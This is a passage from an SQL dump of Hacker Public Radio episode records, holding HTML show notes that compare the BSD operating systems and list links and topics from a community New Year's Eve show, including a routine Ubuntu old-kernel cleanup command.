Thinkpads are bulletproof. Buy something on ebay. Dell desktops generally work quite well. Intel components are most stable. You will suffer less if you can find a pure Intel machine. The biggest things to look for are an intel CPU, intel wireless chipset, intel integrated graphics, and an intel sticker. Vpro vs no vpro doesn’t seem to make a difference in my anecdotal experience.</p>\n<blockquote><p><q>But what about a GPU????</q></p></blockquote>\n<p>no.</p>\n<h1 >FreeBSD</h1>\n<h3 >Goal: general purpose, easy to use operating system</h3>\n<h3 >Use cases: server, desktop, NAS, hypervisor</h3>\n<h3 >Features:</h3>\n<ul >\n<li>Core OS\n<ul >\n<li>system feels clean and organized.\n<ul >\n<li>Everything required to boot the system is in /</li>\n<li>Everything not required to boot the system is in /usr/local</li>\n</ul></li>\n<li>ZFS boot environments allow modification and upgrading without worrying</li>\n<li>Familiar enough to linux users</li>\n<li>System feels well integrated instead of hacked together like a GNU+/Linux</li>\n</ul></li>\n<li>storage\n<ul >\n<li>UFS is dead, long live ZFS (the only actually good RAID)</li>\n<li>Disk encryption via GELI and encrypted ZVOLS</li>\n</ul></li>\n<li>Third party software\n<ul >\n<li>Largest ports system of the BSDs</li>\n<li>Can install precompiled packages with the pkg utility or compile yourself via the ports tree</li>\n</ul></li>\n<li>Jails\n<ul >\n<li>Like a chroot but actually secure</li>\n<li>Like docker but without the aspect of downloading random stuff from github</li>\n<li>all jails share a kernel but have separate hostnames, ip addrs, etc</li>\n</ul></li>\n<li>Virtualization\n<ul >\n<li>bhyve hypervisor, similar to kvm</li>\n</ul></li>\n<li>Security\n<ul >\n<li>Capsicum (sandboxing framework)</li>\n<li>ACLs</li>\n</ul></li>\n<li>OS compat layers\n<ul >\n<li>Linux compat layer (can even run steam).</li>\n<li>wine</li>\n</ul></li>\n<li>Documentation\n<ul >\n<li><a href=\"https://docs.freebsd.org/en/books/handbook/\">FreeBSD handbook</a></li>\n</ul></li>\n</ul>\n<h3 >Detriments:</h3>\n<ul >\n<li>storage\n<ul >\n<li>UFS is not journaled by default, just use ZFS</li>\n</ul></li>\n<li>Virtualization\n<ul >\n<li>there is a virtualbox port</li>\n</ul></li>\n<li>Security\n<ul >\n<li>Fast rather than secure by default</li>\n<li>read security(7) and you’ll be fine</li>\n</ul></li>\n</ul>\n<h1 >OpenBSD</h1>\n<h3 >Goal: simplicity, portability, standardization, correctness, proactive security, and integrated cryptography</h3>\n<h3 >Use Cases: Networking appliances, desktops, servers</h3>\n<h3 >Merits:</h3>\n<ul >\n<li>Core OS\n<ul >\n<li>webcam and microphone disabled by default</li>\n</ul></li>\n<li>Security\n<ul >\n<li>API changes to prevent foot shooting (ie strlcpy and strlcat because string functions in C are a memory leak waiting to happen).</li>\n<li>kernel is randomly relinked and randomized at boot time</li>\n<li>Memory protection\n<ul >\n<li>W^X protection means that memory is either exclusively writable or exclusively executable</li>\n<li>malloc’d memory is randomly allocated (bonus: makes buggy programs segfualt loudly)</li>\n</ul></li>\n<li>Crypto\n<ul >\n<li>full disk encryption (including swap)</li>\n<li>various algos</li>\n<li>TCP/IP stack randomizes things to reduce predictibality</li>\n</ul></li>\n<li>Xenocara\n<ul >\n<li>X11 fork</li>\n<li>privilege separation (ie all Xsessions don’t run as root)</li>\n</ul></li>\n<li>Pledge/unveil syscalls\n<ul >\n<li>pledge restricts process capabilities, kernel kills misbehaving processes</li>\n<li>unveil restricts filesystem access to a minimul level</li>\n</ul></li>\n<li>All of the standard daemons run in a chroot with privilege separation</li>\n<li>ASLR</li>\n<li>A million other things</li>\n</ul></li>\n<li>Third party software\n<ul >\n<li>Everything you need is in the base system. Some of what you want is available via ports or pkg_add</li>\n</ul></li>\n<li>Subprojects:\n<ul >\n<li>CARP, doas (like sudo but less spaghetti), OpenBSD httpd, LibreSSL, OpenBGPD, OpenNTPD, OpenSMTPD, OpenSSH, pf (the only easy to use firewall), spamd (email filter that plugs into pf), a million other things</li>\n</ul></li>\n<li>Virtualization\n<ul >\n<li>vmm and vmd</li>\n</ul></li>\n<li>Documentation\n<ul >\n<li><a href=\"https://www.openbsd.org/faq/\">FAQ</a></li>\n<li><a href=\"https://www.openbsdhandbook.com/\">Handbook</a></li>\n</ul></li>\n<li>Source code is the only good “learn by example” for C</li>\n</ul>\n<h3 >Demerits:</h3>\n<ul >\n<li>Security features can cause slowness</li>\n<li>sometimes you can’t shoot your foot even if you really really want to</li>\n<li>critics claim it’s all security theater</li>\n<li>Requires opening vulnerabilities back up if you want a “Just Werks™” Linux desktop experience</li>\n<li>No MAC</li>\n</ul>\n<h1 >NetBSD</h1>\n<h3 >Goal: clean and careful design, scalability, portability</h3>\n<h3 >Use cases: server, embedded, desktop if you’re a flagellant</h3>\n<h3 >Features:</h3>\n<ul >\n<li>Portability\n<ul >\n<li><a href=\"https://netbsd.org/ports/\">It actually runs everywhere</a></li>\n<li>Designed for cross compiling (via build.sh)</li>\n</ul></li>\n<li><a href=\"https://www.pkgsrc.org/\">pkgsrc</a>\n<ul >\n<li>UNIX and arch agnostic third party packing framework</li>\n</ul></li>\n<li>virtualization\n<ul >\n<li>xen</li>\n<li>nvmm (similar to kvm, works with qemu)</li>\n</ul></li>\n<li>storage\n<ul >\n<li>a bunch of filesystems, including journaling UFS and ZFS</li>\n<li>LVM</li>\n</ul></li>\n<li>entirely POSIX compliant</li>\n<li>kernel is scriptable with Lua</li>\n</ul>\n<h3 >Demerits:</h3>\n<ul >\n<li>haven’t used it enough to die the death of a thousand papercuts</li>\n</ul>\n\n',406,0,1,'CC-BY-SA','BSD, UNIX, FreeBSD, OpenBSD, NetBSD',0,0,1),
(3663,'2022-08-17','How I got into Tech',358,'Follow-up episode about how I got into tech','<p>From deleting command.com in Windows 95 to tinkering with circuitpython, this is a brief introduction of how I got into tech</p>\n',408,29,0,'CC-BY-SA','tech, personal history, introductions',0,0,1),
(3662,'2022-08-16','2021-2022 New Years Show Part 1',11138,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-1\">Part 1</h3>\n<h4 id=\"t100000z\">2021-12-31T10:00:00Z</h4>\n<p>Welcome to the 9th Annual Hacker Public Radio show. It is December the 31st 2021 and the time is 10 hundred hours UTC. We start the show by sending Greetings to Christmas Island/Kiribati and Samoa Kiritimati, Apia.</p>\n<p>LINT Christmas Island/Kiribati Kiritimati</p>\n<p>Ken and Honkey talk about setting up streaming</p>\n<p>Mumble &#x2192; Client (Butt) &#x2192; Ice Cast</p>\n<p><a href=\"https://www.mumble.info/downloads/\" class=\"uri\">https://www.mumble.info/downloads/</a></p>\n<p><a href=\"https://danielnoethen.de/butt/\" class=\"uri\">https://danielnoethen.de/butt/</a></p>\n<p><a href=\"https://icecast.org/\" class=\"uri\">https://icecast.org/</a></p>\n<p><a href=\"http://www.darkice.org/\" class=\"uri\">http://www.darkice.org/</a></p>\n<p>Ken and Honkey talk about COVID-19 Omicron Variant</p>\n<p><a href=\"https://www.cdc.gov/coronavirus/2019-ncov/variants/omicron-variant.html\" class=\"uri\">https://www.cdc.gov/coronavirus/2019-ncov/variants/omicron-variant.html</a></p>\n<p><a href=\"https://www.alzheimers.org.uk/get-support/coronavirus/about-coronavirus\" class=\"uri\">https://www.alzheimers.org.uk/get-support/coronavirus/about-coronavirus</a></p>\n<p>Ken, Honkey, and Netminer talk about mental health, Asperger\'s Syndrome, Eli The Computer Guy</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Asperger_syndrome\" class=\"uri\">https://en.wikipedia.org/wiki/Asperger_syndrome</a></p>\n<p><a href=\"https://www.webmd.com/brain/autism/mental-health-aspergers-syndrome\" class=\"uri\">https://www.webmd.com/brain/autism/mental-health-aspergers-syndrome</a></p>\n<p><a href=\"https://aspergersfromtheinside.com/\" class=\"uri\">https://aspergersfromtheinside.com/</a></p>\n<p><a href=\"https://www.youtube.com/channel/UC-FpBZR7DbpvNj5UrFN8qUA\" class=\"uri\">https://www.youtube.com/channel/UC-FpBZR7DbpvNj5UrFN8qUA</a></p>\n<p><a href=\"https://www.youtube.com/c/Elithecomputerguypage\" class=\"uri\">https://www.youtube.com/c/Elithecomputerguypage</a></p>\n<p>Ken gets his HAM radio license</p>\n<p><a href=\"http://www.arrl.org/getting-licensed\" class=\"uri\">http://www.arrl.org/getting-licensed</a></p>\n<p>Ken talks about rebuilding the house</p>\n<p>Growing up in the 60\'s</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Andrew_Greeley\" class=\"uri\">https://en.wikipedia.org/wiki/Andrew_Greeley</a></p>\n<p><a href=\"https://www.goodreads.com/book/show/1197497.The_High_Tech_Knight\" class=\"uri\">https://www.goodreads.com/book/show/1197497.The_High_Tech_Knight</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Leo_Frankowski\" class=\"uri\">https://en.wikipedia.org/wiki/Leo_Frankowski</a></p>\n<p>What is a Dunny?</p>\n<p><a href=\"https://www.warrenfahey.com.au/the-dunny-a-history/\" class=\"uri\">https://www.warrenfahey.com.au/the-dunny-a-history/</a></p>\n<p><a href=\"https://www.pinterest.com.au/rosepat52/old-aussie-dunnies/\" class=\"uri\">https://www.pinterest.com.au/rosepat52/old-aussie-dunnies/</a></p>\n<p>Farming Talk</p>\n<p>Isaac &amp; James <a href=\"https://www.facebook.com/IsaacenJames/?fref=mentions&amp;__tn__=K-R\" class=\"uri\">https://www.facebook.com/IsaacenJames/?fref=mentions&amp;__tn__=K-R</a></p>\n<p>More Amateur Radio</p>\n<p>Harmonised Amateur Radio Examination Certificate (HAREC)</p>\n<p><a href=\"http://www.zs6mrk.org/RAE%20Handleiding/The-HAREC-syllabus---CEPT-T_R-61-02-Annex-6---Class-A-only.PDF\" class=\"uri\">http://www.zs6mrk.org/RAE%20Handleiding/The-HAREC-syllabus---CEPT-T_R-61-02-Annex-6---Class-A-only.PDF</a></p>\n<p>Raspberry Pi 400 Chat &amp; Makulu Linux (installs Android APKs)</p>\n<p><a href=\"https://www.raspberrypi.com/products/raspberry-pi-400/\" class=\"uri\">https://www.raspberrypi.com/products/raspberry-pi-400/</a></p>\n<p><a href=\"http://www.makululinux.com/wp/\" class=\"uri\">http://www.makululinux.com/wp/</a></p>\n<p><a href=\"https://distrowatch.com/table.php?distribution=makulu\" class=\"uri\">https://distrowatch.com/table.php?distribution=makulu</a></p>\n<p>Honkey Talks about his Pi4 and Steamlink, Diet Pi , Etcher + more</p>\n<p><a href=\"https://store.steampowered.com/app/353380/Steam_Link/\" class=\"uri\">https://store.steampowered.com/app/353380/Steam_Link/</a></p>\n<p><a href=\"https://play.google.com/store/apps/details?id=com.valvesoftware.steamlink&amp;hl=en_US&amp;gl=US\" class=\"uri\">https://play.google.com/store/apps/details?id=com.valvesoftware.steamlink&amp;hl=en_US&amp;gl=US</a></p>\n<p><a href=\"https://apps.apple.com/us/app/steam-link/id1246969117\" class=\"uri\">https://apps.apple.com/us/app/steam-link/id1246969117</a></p>\n<p><a href=\"https://dietpi.com/\" class=\"uri\">https://dietpi.com/</a></p>\n<p><a href=\"https://etcher.download/\" class=\"uri\">https://etcher.download/</a></p>\n<p><a href=\"https://github.com/raspberrypi/rpi-imager\" class=\"uri\">https://github.com/raspberrypi/rpi-imager</a></p>\n<p>Archiving Old Vinyl</p>\n<p><a href=\"https://www.raspberrypi.com/news/hi-fi-raspberry-pi/\" class=\"uri\">https://www.raspberrypi.com/news/hi-fi-raspberry-pi/</a></p>\n<p><a href=\"https://www.youtube.com/watch?v=zWGU0lk_fr4\" class=\"uri\">https://www.youtube.com/watch?v=zWGU0lk_fr4</a></p>\n<p>Tony H. Netminer &amp; Dave Chat</p>\n<p><a href=\"https://distrohoppersdigest.blogspot.com/\" class=\"uri\">https://distrohoppersdigest.blogspot.com/</a></p>\n<p><a href=\"https://mintcast.org/\" class=\"uri\">https://mintcast.org/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Blackpool\" class=\"uri\">https://en.wikipedia.org/wiki/Blackpool</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Nantasket_Beach\" class=\"uri\">https://en.wikipedia.org/wiki/Nantasket_Beach</a></p>\n<p>Buying PCs/laptops with Linux pre-installed.</p>\n<p><a href=\"https://www.entroware.com/store/\" class=\"uri\">https://www.entroware.com/store/</a></p>\n<p><a href=\"https://junocomputers.com/\" class=\"uri\">https://junocomputers.com/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC\" class=\"uri\">https://en.wikipedia.org/wiki/Asus_Eee_PC</a></p>\n<p>UK Fiber Optic ISP</p>\n<p><a href=\"https://cityfibre.com/\" class=\"uri\">https://cityfibre.com/</a></p>\n<p>Group Chat about various tech topics</p>\n<p>BSD flavors</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Berkeley_Software_Distribution\" class=\"uri\">https://en.wikipedia.org/wiki/Berkeley_Software_Distribution</a></p>\n<p><a href=\"https://www.openbsd.org/\" class=\"uri\">https://www.openbsd.org/</a></p>\n<p><a href=\"https://www.freebsd.org/\" class=\"uri\">https://www.freebsd.org/</a></p>\n<p><a href=\"https://nomadbsd.org/\" class=\"uri\">https://nomadbsd.org/</a></p>\n<p>Boxes VM Manager</p>\n<p><a href=\"https://help.gnome.org/users/gnome-boxes/stable/\" class=\"uri\">https://help.gnome.org/users/gnome-boxes/stable/</a></p>\n<p>ARPANET</p>\n<p><a href=\"https://en.wikipedia.org/wiki/ARPANET\" class=\"uri\">https://en.wikipedia.org/wiki/ARPANET</a></p>\n<p>Leena / Lena</p>\n<p>Lenna or Lena is a standard test image widely used in the field of image processing since 1973. <a href=\"https://en.wikipedia.org/wiki/Lenna\" class=\"uri\">https://en.wikipedia.org/wiki/Lenna</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Digital_Equipment_Corporation\" class=\"uri\">https://en.wikipedia.org/wiki/Digital_Equipment_Corporation</a><br />\n<a href=\"https://en.wikipedia.org/wiki/OpenVMS\" class=\"uri\">https://en.wikipedia.org/wiki/OpenVMS</a><br />\n<a href=\"https://en.wikipedia.org/wiki/DEC_Alpha\" class=\"uri\">https://en.wikipedia.org/wiki/DEC_Alpha</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Tru64_UNIX\" class=\"uri\">https://en.wikipedia.org/wiki/Tru64_UNIX</a></p>\n<p>Knight TV /Tom Knight (Knight TV)</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Tom_Knight_(scientist)\" class=\"uri\">https://en.wikipedia.org/wiki/Tom_Knight_(scientist)</a></p>\n<p><a href=\"http://pdp-6.net/knight-tv/knight-tv.html\" class=\"uri\">http://pdp-6.net/knight-tv/knight-tv.html</a></p>\n<p>PDP 11</p>\n<p><a href=\"https://en.wikipedia.org/wiki/PDP-11\" class=\"uri\">https://en.wikipedia.org/wiki/PDP-11</a></p>\n<p>Haiku OS</p>\n<p><a href=\"https://www.haiku-os.org/\" class=\"uri\">https://www.haiku-os.org/</a></p>\n<p>Motorola StarMax Mac Clones</p>\n<p><a href=\"https://everymac.com/systems/motorola/index-motorola-starmax-mac-clones.html\" class=\"uri\">https://everymac.com/systems/motorola/index-motorola-starmax-mac-clones.html</a></p>\n<p>DECstation</p>\n<p><a href=\"https://en.wikipedia.org/wiki/DECstation\" class=\"uri\">https://en.wikipedia.org/wiki/DECstation</a></p>\n<p>VMS / OpenVMS</p>\n<p><a href=\"https://en.wikipedia.org/wiki/OpenVMS\" class=\"uri\">https://en.wikipedia.org/wiki/OpenVMS</a></p>\n<p>DEC Alpha</p>\n<p><a href=\"https://en.wikipedia.org/wiki/DEC_Alpha\" class=\"uri\">https://en.wikipedia.org/wiki/DEC_Alpha</a></p>\n<p><a href=\"https://www.techopedia.com/definition/18752/dec-alpha\" class=\"uri\">https://www.techopedia.com/definition/18752/dec-alpha</a></p>\n<p>Ultrix</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Ultrix\" class=\"uri\">https://en.wikipedia.org/wiki/Ultrix</a></p>\n<p>PowerMac G5</p>\n<p><a href=\"https://everymac.com/systems/apple/powermac_g5/index-powermac-g5.html\" class=\"uri\">https://everymac.com/systems/apple/powermac_g5/index-powermac-g5.html</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Power_Mac_G5\" class=\"uri\">https://en.wikipedia.org/wiki/Power_Mac_G5</a></p>\n<p>Tru64 Unix</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Tru64_UNIX\" class=\"uri\">https://en.wikipedia.org/wiki/Tru64_UNIX</a></p>\n<p><a href=\"https://winworldpc.com/product/tru64/50\" class=\"uri\">https://winworldpc.com/product/tru64/50</a></p>\n<p>TU58</p>\n<p><a href=\"http://gunkies.org/wiki/TU58_DECtape_II\" class=\"uri\">http://gunkies.org/wiki/TU58_DECtape_II</a></p>\n<p><a href=\"http://web.frainresearch.org:8080/projects/mypdp/tu58.php\" class=\"uri\">http://web.frainresearch.org:8080/projects/mypdp/tu58.php</a></p>\n<p><a href=\"http://bitsavers.trailing-edge.com/pdf/dec/dectape/tu58/EK-0TU58-UG-001_TU58_DECtape_II_Users_Guide_Oct78.pdf\" class=\"uri\">http://bitsavers.trailing-edge.com/pdf/dec/dectape/tu58/EK-0TU58-UG-001_TU58_DECtape_II_Users_Guide_Oct78.pdf</a></p>\n<p>ICL 1900</p>\n<p><a href=\"https://en.wikipedia.org/wiki/International_Computers_Limited\" class=\"uri\">https://en.wikipedia.org/wiki/International_Computers_Limited</a></p>\n<p><a href=\"http://www.ict1900.com/\" class=\"uri\">http://www.ict1900.com/</a></p>\n<p>DECwriter</p>\n<p><a href=\"http://www.columbia.edu/cu/computinghistory/la36.html\" class=\"uri\">http://www.columbia.edu/cu/computinghistory/la36.html</a></p>\n<p><a href=\"https://vt100.net/docs/tp83/chapter14.html\" class=\"uri\">https://vt100.net/docs/tp83/chapter14.html</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/DECwriter\" class=\"uri\">https://en.wikipedia.org/wiki/DECwriter</a></p>\n<p>ISDN Phone Lines</p>\n<p><a href=\"https://uh.edu/~wrice/phone.htm\" class=\"uri\">https://uh.edu/~wrice/phone.htm</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Integrated_Services_Digital_Network\" class=\"uri\">https://en.wikipedia.org/wiki/Integrated_Services_Digital_Network</a></p>\n<p>X.25</p>\n<p><a href=\"https://www.lifewire.com/x-25-816286\" class=\"uri\">https://www.lifewire.com/x-25-816286</a></p>\n<p><a href=\"https://networkencyclopedia.com/x-25/\" class=\"uri\">https://networkencyclopedia.com/x-25/</a></p>\n<p>IMP</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Interface_Message_Processor\" class=\"uri\">https://en.wikipedia.org/wiki/Interface_Message_Processor</a></p>\n<p><a href=\"https://www.techopedia.com/definition/7692/interface-message-processor-imp\" class=\"uri\">https://www.techopedia.com/definition/7692/interface-message-processor-imp</a></p>\n<p>UK Academic Network. JANET (Joint Academic Network)</p>\n<p><a href=\"https://www.jisc.ac.uk/janet/history\" class=\"uri\">https://www.jisc.ac.uk/janet/history</a></p>\n<p>UK Academic Coloured Book Protocols</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Coloured_Book_protocols\" class=\"uri\">https://en.wikipedia.org/wiki/Coloured_Book_protocols</a></p>\n<p>Anne &amp; Lynn Wheeler</p>\n<p><a href=\"https://garlic.com/#\" class=\"uri\">https://garlic.com/#</a></p>\n<p><a href=\"https://www.garlic.com/~lynn/\" class=\"uri\">https://www.garlic.com/~lynn/</a></p>\n<p>George 3 Operating System</p>\n<p><a href=\"http://www.chilton-computing.org.uk/acl/pdfs/icl1900_intro_george3.pdf\" class=\"uri\">http://www.chilton-computing.org.uk/acl/pdfs/icl1900_intro_george3.pdf</a></p>\n<p>Hercules MVS Emulator</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Hercules_(emulator)\" class=\"uri\">https://en.wikipedia.org/wiki/Hercules_(emulator)</a></p>\n<p><a href=\"http://www.hercules-390.org/\" class=\"uri\">http://www.hercules-390.org/</a></p>\n<p>Doctor Who, K9, Ultraman, and Thunderbirds+ more</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Doctor_Who%3A_The_Curse_of_Fatal_Death\" class=\"uri\">https://en.wikipedia.org/wiki/Doctor_Who%3A_The_Curse_of_Fatal_Death</a></p>\n<p><a href=\"https://www.bbc.co.uk/programmes/b006q2x0\" class=\"uri\">https://www.bbc.co.uk/programmes/b006q2x0</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Doctor_Who\" class=\"uri\">https://en.wikipedia.org/wiki/Doctor_Who</a></p>\n<p><a href=\"https://www.imdb.com/title/tt1102732/\" class=\"uri\">https://www.imdb.com/title/tt1102732/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Ultraman_(1966_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Ultraman_(1966_TV_series)</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Thunderbirds_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Thunderbirds_(TV_series)</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Supermarionation\" class=\"uri\">https://en.wikipedia.org/wiki/Supermarionation</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Doctor_Who:_The_Curse_of_Fatal_Death\" class=\"uri\">https://en.wikipedia.org/wiki/Doctor_Who:_The_Curse_of_Fatal_Death</a></p>\n<p><a href=\"https://tardis.fandom.com/wiki/Doctor_Who_Night_(1999)\" class=\"uri\">https://tardis.fandom.com/wiki/Doctor_Who_Night_(1999)</a></p>\n<p><a href=\"https://www.youtube.com/watch?v=EfQFmZCbOfM\" class=\"uri\">https://www.youtube.com/watch?v=EfQFmZCbOfM</a></p>\n<p>Log4J Vulnerability</p>\n<p><a href=\"https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance\" class=\"uri\">https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance</a></p>\n<p>Hacker Public Radio show mention -- Fixing a Noisy Blower Motor</p>\n<p><a href=\"http://hackerpublicradio.org/eps.php?id=3499\" class=\"uri\">http://hackerpublicradio.org/eps.php?id=3499</a></p>\n<p>Netminer suggests a newsgroup</p>\n<p><code>alt.sysadmin.recovery</code> Sysadmin humor Better than a 45 to that damn server. .</p>\n<p>Nike Missile Site mention</p>\n<p><a href=\"http://ed-thelen.org/\" class=\"uri\">http://ed-thelen.org/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/List_of_Nike_missile_sites\" class=\"uri\">https://en.wikipedia.org/wiki/List_of_Nike_missile_sites</a></p>\n<p>\"Bubba shot the Jukebox\" song reference.</p>\n<p><a href=\"https://www.youtube.com/watch?v=qbQW7rDOPxI\" class=\"uri\">https://www.youtube.com/watch?v=qbQW7rDOPxI</a></p>\n<p>ClaudioM\'s Blog - Hello from the End of 2021!:<br />\n<a href=\"https://claudiomiranda.wordpress.com/2021/12/31/hello-from-the-end-of-2021/\" class=\"uri\">https://claudiomiranda.wordpress.com/2021/12/31/hello-from-the-end-of-2021/</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3667,'2022-08-23','2021-2022 New Years Show Part 2',11268,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-2\">Part 2</h3>\n<p>Massachusetts MCAS Tests</p>\n<p><a href=\"https://www.doe.mass.edu/mcas/\" class=\"uri\">https://www.doe.mass.edu/mcas/</a></p>\n<p>A Level Test mention -</p>\n<p><a href=\"http://www.gostudyuk.com/a-levels-and-equivalents/\" class=\"uri\">http://www.gostudyuk.com/a-levels-and-equivalents/</a></p>\n<p>COVID-19: quarantine, masks, vaccination, testing, etc.</p>\n<p>Michael Mina <span class=\"citation\" data-cites=\"michaelmina_lab\">@michaelmina_lab</span></p>\n<p><a href=\"https://twitter.com/michaelmina_lab\" class=\"uri\">https://twitter.com/michaelmina_lab</a></p>\n<p>West Virginia &amp; Kentucky Accents</p>\n<p><a href=\"https://www.dialectsarchive.com/west-virginia\" class=\"uri\">https://www.dialectsarchive.com/west-virginia</a></p>\n<p><a href=\"https://www.dialectsarchive.com/kentucky\" class=\"uri\">https://www.dialectsarchive.com/kentucky</a></p>\n<p>Netminer talks about being a security guard &amp; Security Guard tools of the trade</p>\n<p>Detex Clock</p>\n<p><a href=\"https://www.watchmanclocks.com/productdetails.aspx?ProductID=56\" class=\"uri\">https://www.watchmanclocks.com/productdetails.aspx?ProductID=56</a></p>\n<p>Mag light flashlight</p>\n<p><a href=\"https://maglite.com/\" class=\"uri\">https://maglite.com/</a></p>\n<p>Ohio Linux Fest</p>\n<p><a href=\"https://olfconference.org/\" class=\"uri\">https://olfconference.org/</a></p>\n<p>Not Curses</p>\n<p><a href=\"https://notcurses.com/notcurses.3.html\" class=\"uri\">https://notcurses.com/notcurses.3.html</a></p>\n<p>Sixel</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Sixel\" class=\"uri\">https://en.wikipedia.org/wiki/Sixel</a></p>\n<p>The Book Of Boba Fett</p>\n<p><a href=\"https://www.imdb.com/title/tt13668894/\" class=\"uri\">https://www.imdb.com/title/tt13668894/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Book_of_Boba_Fett\" class=\"uri\">https://en.wikipedia.org/wiki/The_Book_of_Boba_Fett</a></p>\n<p>Under The Helmet : The Legacy of Boba Fett</p>\n<p><a href=\"https://www.imdb.com/title/tt15715890/\" class=\"uri\">https://www.imdb.com/title/tt15715890/</a></p>\n<p>Mordancy talks about Mark from Command Line Magic</p>\n<p>Command Line Magic Homepage - <a href=\"http://www.climagic.org/\" class=\"uri\">http://www.climagic.org/</a></p>\n<p>Command Line Magic Youtube - <a href=\"https://www.youtube.com/user/climagic/videos\" class=\"uri\">https://www.youtube.com/user/climagic/videos</a></p>\n<p>Command Line Magic Twitter - <a href=\"https://twitter.com/climagic\" class=\"uri\">https://twitter.com/climagic</a></p>\n<p>Command Line Magic Mastadon - <a href=\"https://mastodon.social/@climagic\" class=\"uri\">https://mastodon.social/@climagic</a></p>\n<p>Mordancy also suggests</p>\n<p><a href=\"https://www.commandlinefu.com/commands/browse\" class=\"uri\">https://www.commandlinefu.com/commands/browse</a></p>\n<p><a href=\"https://explainshell.com/\" class=\"uri\">https://explainshell.com/</a></p>\n<p>More Website Suggestions</p>\n<p>Regex Crossword is a crossword puzzle game, where the crossword clues are defined using regular expressions</p>\n<p><a href=\"https://regexcrossword.com\" class=\"uri\">https://regexcrossword.com</a></p>\n<p>Learn VIM while playing a game</p>\n<p><a href=\"https://vim-adventures.com/\" class=\"uri\">https://vim-adventures.com/</a></p>\n<p>Tennesee Valley Authority</p>\n<p><a href=\"https://www.tva.com/\" class=\"uri\">https://www.tva.com/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Tennessee_Valley_Authority\" class=\"uri\">https://en.wikipedia.org/wiki/Tennessee_Valley_Authority</a></p>\n<p>West Virginia Coal Mines</p>\n<p><a href=\"https://www.americangeosciences.org/critical-issues/maps/interactive-map-coal-mines-west-virginia\" class=\"uri\">https://www.americangeosciences.org/critical-issues/maps/interactive-map-coal-mines-west-virginia</a></p>\n<p>Nuclear Power Plants in the USA</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Nuclear_power_in_the_United_States\" class=\"uri\">https://en.wikipedia.org/wiki/Nuclear_power_in_the_United_States</a></p>\n<p><a href=\"https://www.eia.gov/tools/faqs/faq.php?id=207&amp;t=3\" class=\"uri\">https://www.eia.gov/tools/faqs/faq.php?id=207&amp;t=3</a></p>\n<p>Moss Wants to Build a Pi Hole</p>\n<p><a href=\"https://pi-hole.net/\" class=\"uri\">https://pi-hole.net/</a></p>\n<p>Take The Long Way Home (SuperTramp)</p>\n<p><a href=\"https://youtu.be/zKGOCOAI_2c\" class=\"uri\">https://youtu.be/zKGOCOAI_2c</a></p>\n<p>Push To Talk Mumble Settings</p>\n<p><a href=\"https://www.mumble.com/support/mumble-server-push-to-talk.php\" class=\"uri\">https://www.mumble.com/support/mumble-server-push-to-talk.php</a></p>\n<p>Dont use Balena Etcher, try instead <a href=\"https://bztsrc.gitlab.io/usbimager/\" class=\"uri\">https://bztsrc.gitlab.io/usbimager/</a> USBImager is a really really simple GUI application that writes compressed disk images to USB drives and creates backups. Available platforms: Windows, MacOS and Linux. Its interface is as simple as it gets, totally bloat-free. It is very small below 300 KB compared to more the than 130 MB of Etcher.</p>\n<p>A Maintenance Tool For Ubuntu</p>\n<p>uCareSystem Core basic</p>\n<p><a href=\"https://ostechnix.com/ucaresystem-core-basic-maintenance-tool-ubuntu/\" class=\"uri\">https://ostechnix.com/ucaresystem-core-basic-maintenance-tool-ubuntu/</a></p>\n<p><a href=\"https://github.com/Utappia/uCareSystem\" class=\"uri\">https://github.com/Utappia/uCareSystem</a></p>\n<p>To get rid of old kernels with no work - just paste in the commandline</p>\n<pre><code>echo $(dpkg --list | grep linux-image | awk &#39;{ print $2 }&#39; | sort -V | sed -n &#39;/&#39;`uname -r`&#39;/q;p&#39;) $(dpkg --list | grep linux-headers | awk &#39;{ print $2 }&#39; | sort -V | sed -n &#39;/&#39;&quot;$(uname -r | sed &quot;s/\\([0-9.-]*\\)-\\([^0-9]\\+\\)/\\1/&quot;)&quot;&#39;/q;p&#39;) | xargs echo sudo apt-get -y purge\n</code></pre>\n<p>the result is a sudo command to remove old kernels. And finally this one:</p>\n<pre><code>sudo apt autoremove &amp;&amp; sudo apt autoclean &amp;&amp; sudo apt clean</code></pre>\n<p>Moss talks about ArcoLinux</p>\n<p><a href=\"https://arcolinux.com/\" class=\"uri\">https://arcolinux.com/</a></p>\n<p>Minnix uses Funk 